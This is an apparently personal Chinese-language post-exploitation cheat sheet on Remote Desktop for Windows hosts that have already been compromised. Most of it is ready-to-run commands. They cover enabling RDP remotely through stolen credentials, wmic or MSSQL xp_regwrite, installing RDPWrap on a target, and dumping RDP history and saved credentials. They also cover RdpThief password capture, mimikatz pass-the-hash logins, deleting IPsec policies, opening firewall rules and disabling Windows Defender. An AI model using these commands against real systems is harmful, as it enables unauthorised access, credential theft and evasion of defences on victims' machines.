开启3389

查询系统是否需要开启RDP

  1. REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

image.png
0为开启 1为关闭 上图为开启

查询系统现在的RDP连接端口

  1. REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
  2. REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

image.png
0xd3d 为3389

开启3389

  1. REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  2. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  3. REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
  4. wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
  5. wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
  6. wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 2 或者1win102 win2008--win2012都可以
  7. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 失败 据说win2008--win2012都可以
  8. wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 失败 据说win2008--win2012都可以
  9. windows2000 系统开3389要重启

如果有密码,但是对端3389没开的话 先
net use \10.1.1.1 /u:administrator 123456

REG ADD “\10.1.1.1\HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

或者使用wmic
wmic /node:192.168.x.x /user:administrator /password:P@ssw0rd123 rdtoggle where AllowTSConnections=”0” call SetAllowTSConnections “1”

如果开了RDP开启了后,还是访问不了rdp,那么可能需要

  1. net start TermService 开启远程桌面服务

MSSQL xp_regwrite开启3389端口

  1. 查询3389开启状态 : exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’ ,’fDenyTSConnections’
  2. 查询3389远程桌面端口 : exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’
  3. 开启3389远程桌面端口(0:ON、1:OFF): exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;


修改3389端口

https://blog.51cto.com/hackdos/549007
方法1:将下属放到bat里启动即可

  1. echo Windows Registry Editor Version 5.00>>3389.reg
  2. echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
  3. echo "fDenyTSConnections"=dword:00000000>>3389.reg
  4. echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
  5. echo "PortNumber"=dword:00000d3e>>3389.reg
  6. echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
  7. echo "PortNumber"=dword:00000d3e>>3389.reg
  8. regedit /s 3389.reg
  9. del 3389.reg

net stop TermService /y
net start TermService 即可无需重启系统修改端口


RDPWinst
https://github.com/stascorp/rdpwrap/
将RDPWinst下载到目标主机 然后执行安装命令,即可实现不同用户的同时登陆

  1. RDPWinst.exe -i is # 安装
  2. RDPWinst.exe -u # 卸载

image.png
image.png

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/


获取历史连接记录

一、获取RDP明文凭据有两种方法,第一种是在mstst.exe启动时,读取mstsc.exe的内存数据,提取出用户所输入的口令,第二种是类似键盘记录的方法获取。键盘记录不再多说

二、获取历史连接记录(不可获得密码)
1、获得当前用户的历史连接记录:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers

image.png

  1. <br /> **PowerShell: dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name**

image.png

2、获取其他用户的历史连接记录:
通过枚举SID下的 Software\Microsoft\Terminal Server Client\Servers 来获取已登录其他用户历史连接记录
HKEY_USERS\S-1-5-21-1123416203-606088927-4187067076-500\Software\Microsoft\Terminal Server Client\Servers
image.png

  1. PowerShell: 获取所有用户的SID: Get-WmiObject -Class Win32_UserAccount

image.png

3、获取所有用户的历史连接记录
加载 C:\Documents and Settings\用户名里的NTUSER.DAT文件

image.png 接着再HKEY_USERS下读取该用户的注册表配置信息 image.png 可以利用powershell来加载 Reg load HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003 C:\Documents and Settings\c\NTUSER.DAT 不过一般C:\Documents and Settings\我们地权限访问不了

PowerShell(需要管理员权限): $AllUser = Get-WmiObject -Class Win32_UserAccount foreach($User in $AllUser) { $RegPath = “Registry::HKEY_USERS\”+$User.SID+”\Software\Microsoft\Terminal Server Client\Servers\” Write-Host “User:”$User.Name Write-Host “SID:”$User.SID Write-Host “Status:”$User.Status Try
{ $QueryPath = dir $RegPath -Name -ErrorAction Stop } Catch { Write-Host “No RDP Connections History” Write-Host “—————————————————“ continue } foreach($Name in $QueryPath) {
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint Write-Host “Server:”$Name Write-Host “User:”$User } Catch
{ Write-Host “No RDP Connections History” } } Write-Host “—————————————————“ } image.png

RdpThief 获取密码凭据

  1. RdpThief在执行的时候,能够利用钩子程序监视mstsc,并记录下所输入的Mstsc.exe的账号和密码,我们可将他与CobalSrtike联动

RDP的哈希登录

例如通过某些方式getshell,然后目标主机mimikatz导出凭据不能直接明文读取,此使我们想远程登录方式可以新建一个账号进行登录,但是新建账号的内容(比如桌面信息)我们是看不到的,因此可以采用hash登录

image.png

https://www.secpulse.com/archives/72190.html
注意看版本哦!!!!!

  • Windows 8.1和Windows Server 2012 R2默认支持该功能
  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
  • 条件:需要本地PC与目标PC同时支持Restricted Admin mode,使用命令mstsc.exe /restrictedadmin来检测
  • 发现windows 2016也支持Restricted Admin mode

Pass the Hash with Remote Desktop的前提就是系统支持Restricted Admin mode
简单的来说就是开启受限的Restricted Admin mode可以使用当前的hash直接进行登录,如果你在内网渗透拿到一台主机的时候权限的时候,上了CS,读取了密码,发现只有hash凭据,不妨稍微尝试下哈希登录

当我们通过ms17-010或者webshell的方式获取了hash,但是hash解不开的时候,我们可以通过自己修改注册表来

  1. REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

1、例如读取出的hash值0e032b9d51a580ac6cdfabad8bc97a38

2、构造隧道打开cmd执行mimikatz输入以下命令
privilege::debug sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:0e032b9d51a580ac6cdfabad8bc97a38 “/run:mstsc.exe /restrictedadmin”
3、弹出的mstsc窗口,输入IP后直接连接,很简单,但是可能会卡(如3389黑屏)
image.png

获取RDP保存时候的凭据

https://blog.csdn.net/qq_34965596/article/details/104038301
https://mp.weixin.qq.com/s/75HmQegjBrIh7KtBDoYgdg

dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
image.png

本地安全策略限制3389(非FW)

1、netsh ipsec static del all 直接删除所有安全策略
2、端口转发

关于3389的原生端口转发

  1. netsh interface portproxy add v4tov4 listenaddress=192.168.1.1 listenport=3388 connectaddress=192.168.1.2 connectpot=3389 端口转发
  2. netsh interface portproxy show all 查看端口转发规则
  3. netsh interface portproxy delete v4tov4 listenaddress=192.168.1.1 listenport=3388
  4. 如果不行,开启下服务
  5. sc start iphlpsvc

首次开启3389的时候,可能需要开启防火墙的规则

不然会被防火墙拦截

  1. netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow


关于FIRWALL

netsh firewall show allowedprogram //查看防火墙放行程序
netsh firewall show allowedprogram c:\xxxxxx
netsh advfirewall firewall add rule name=”规则名称” dir=in action=allow protocol=TCP localport=80
//开放80端口
netsh advfirewall firewall add rule name=”规则名称” dir=in|out action=allow program=”程序路径” enable=yes //令Xxx加入放行程序

netsh firewall add allowedprogram C:\A.exe A ENABLE //令Xxx加入放行程序

关闭windows defender

  1. REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows defender" /v /DisableAntiSpyware /t REG_DWORD /d 1 /f

大部分情况下都会提示拒绝访问

RDP多用户登录

  1. reg add /f "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

非服务器版本的Windows 系统默认只允许一个账户登录
直接登录会显示从别处远程,存在一定风险
image.png
登录其他账号的时候会有提示
image.png
PS:有时候使用mstsc /admin 可以让某些连接不上mstsc的目标连的上

开多用户登录的话,需要在受害主机上配置
1)Mimikatz 开启多用户登录,支持Win 7 及以前的版本系统
但是还是报错
image.png
2)手动设置:将计算机配置(Computer Configuration)->管理模板 (Administrative Templates)->Windows组件(Windows Components)->远程桌面 服务(Remote Desktop Services)->远程桌面会话主机(Remote Desktop Session Host)->链接(Connections),禁用”将远程桌面服务的用户限制到单独的远程桌面会 话”

一些奇奇怪怪的报错

1、如下所示,在客户端检测到一个协议错误。可能需要修改端口
image.png
如何还是不行,询问大佬说可能是要插key认证后的才能进行RDP,反正就是连不上了

2、rdesktop连接Windows远程桌面因CredSSP 报错
可以安装一个remmina来进行远程登录,然后再取消勾选 仅允许运行使用网络界别身份验证的远程桌面的计算机连接(建议)(N)
https://zhuanlan.zhihu.com/p/371497627

BIT chache图片缓存拼接获取

https://baijiahao.baidu.com/s?id=1705153152225734305&wfr=spider&for=pc
https://github.com/BSI-Bund/RdpCacheStitcher
https://github.com/ANSSI-FR/bmc-tools

参考资料:
https://www.chainnews.com/zh-hant/articles/175977446426.htm
https://www.secshi.com/21512.html
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95/